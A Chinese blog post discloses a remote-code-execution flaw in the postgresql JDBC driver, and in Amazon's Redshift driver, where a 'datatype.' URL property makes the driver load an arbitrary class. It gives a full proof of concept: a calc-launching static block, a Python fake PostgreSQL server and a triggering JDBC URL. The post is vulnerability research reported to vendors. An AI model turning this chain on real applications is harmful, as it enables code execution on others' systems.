postgresql jdbc鸡肋RCE

某次看 JDBC 源码的时候发现 postgresql-42.7.8 里有一行抽象的代码:

可以看到逻辑还是很简单,就是当发现某个属性以 datatype.开头,就会直接用 Class.forName把传入的值当作类强行加载起来,默认情况下会立刻执行它 static 代码块里对应的代码,虽然在后面用 klass.asSubclass(org.postgresql.util.PGobject.class) 做了一下对应的检测,但很显然这时候代码都执行完了已经无济于事了。

当时感觉如果直接调用原生类的 static 代码块,最多也就是消耗一下系统资源啥的,能 dos就了不起了,要想真的有危害还得是攻击者自己用文件上传之类的方法在 static块里写好恶意代码然后传进 classpath里,这时就能 RCE 了 ,比如下面这个例子:

import java.io.IOException;

public class VerifyPoC {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public void VerifyPoC() {
    }
}

由于JDBC 驱动程序仅在连接握手成功后才会解析数据类型参数,所以还需要起一个假的 PostgreSQL 服务器来骗一下驱动:

import socket
import struct
import time


def run_fake_pg():
    HOST = "127.0.0.1"
    PORT = 5439

    try:
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((HOST, PORT))
        server.listen(1)
        print(f"[+] 假 PostgreSQL 服务已启动,监听: {HOST}:{PORT}")
    except Exception as e:
        print(f"[-] 端口启动失败: {e}")
        return

    while True:
        try:
            print("[*] 等待新的连接...")
            conn, addr = server.accept()
            print(f"[!] 收到连接: {addr}")

            # --- 握手阶段 ---
            data = conn.recv(1024)
            # 处理 SSL 请求
            if len(data) >= 8 and data[4:8] == b"\x04\xd2\x16\x2f":
                print("[*] 收到 SSL 协商,拒绝之")
                conn.send(b"N")
                data = conn.recv(1024)  # 接收真正的 StartupMessage

            print("[*] 收到启动包,开始伪装认证...")

            # 1. 认证成功 AuthenticationOK
            conn.send(b"R" + struct.pack("!i", 8) + struct.pack("!i", 0))

            # 2. 发送必要的参数 ParameterStatus
            # 必须发 server_version,否则驱动可能报错
            for k, v in [
                ("server_version", "10.0"),
                ("client_encoding", "UTF8"),
                ("DateStyle", "ISO, MDY"),
            ]:
                payload = k.encode() + b"\x00" + v.encode() + b"\x00"
                conn.send(b"S" + struct.pack("!i", 4 + len(payload)) + payload)

            # 3. 后端密钥 BackendKeyData
            conn.send(
                b"K"
                + struct.pack("!i", 12)
                + struct.pack("!i", 1)
                + struct.pack("!i", 2)
            )

            # 4. 准备就绪 ReadyForQuery
            conn.send(b"Z" + struct.pack("!i", 5) + b"I")
            print("[->] 握手完成,进入交互模式")

            # --- 交互阶段 (关键修改点) ---
            # 无论 Driver 发什么,我们都回复 "执行成功" + "准备就绪"
            while True:
                data = conn.recv(4096)
                if not data:
                    print("[-] 客户端断开连接")
                    break

                # 打印一下驱动发了什么 (通常是 Q 开头的 Query)
                # print(f"[<] Driver 请求: {data[:20]}")

                # 回复 CommandComplete (标识 SQL 执行完毕)
                # 格式: 'C' + len + "SELECT 1" + \0
                tag = b"SELECT 1"
                conn.send(b"C" + struct.pack("!i", 5 + len(tag)) + tag + b"\x00")

                # 回复 ReadyForQuery (标识空闲,可以接下一个活了)
                conn.send(b"Z" + struct.pack("!i", 5) + b"I")

        except ConnectionResetError:
            print("[-] 连接被重置")
        except Exception as e:
            print(f"[-] 发生错误: {e}")
        finally:
            if "conn" in locals():
                conn.close()


if __name__ == "__main__":
    run_fake_pg()

最后用 postgresql jdbc 触发 RCE:

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class pgRCE {
    public static void main(String[] args) throws SQLException {
        String url = "jdbc:postgresql://127.0.0.1:5439/?datatype.poc=VerifyPoC&ssl=false";
        java.sql.DriverManager.getConnection(url, "", "");
    }
}

除了 postgresql 他自己,一些基于 postgresql 实现的下游驱动也有类似的问题,比如亚马逊的 redshift:

虽然厂商都认可了我的报告发补丁修复了,然而都没水到 CVE /(ㄒoㄒ)/~~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇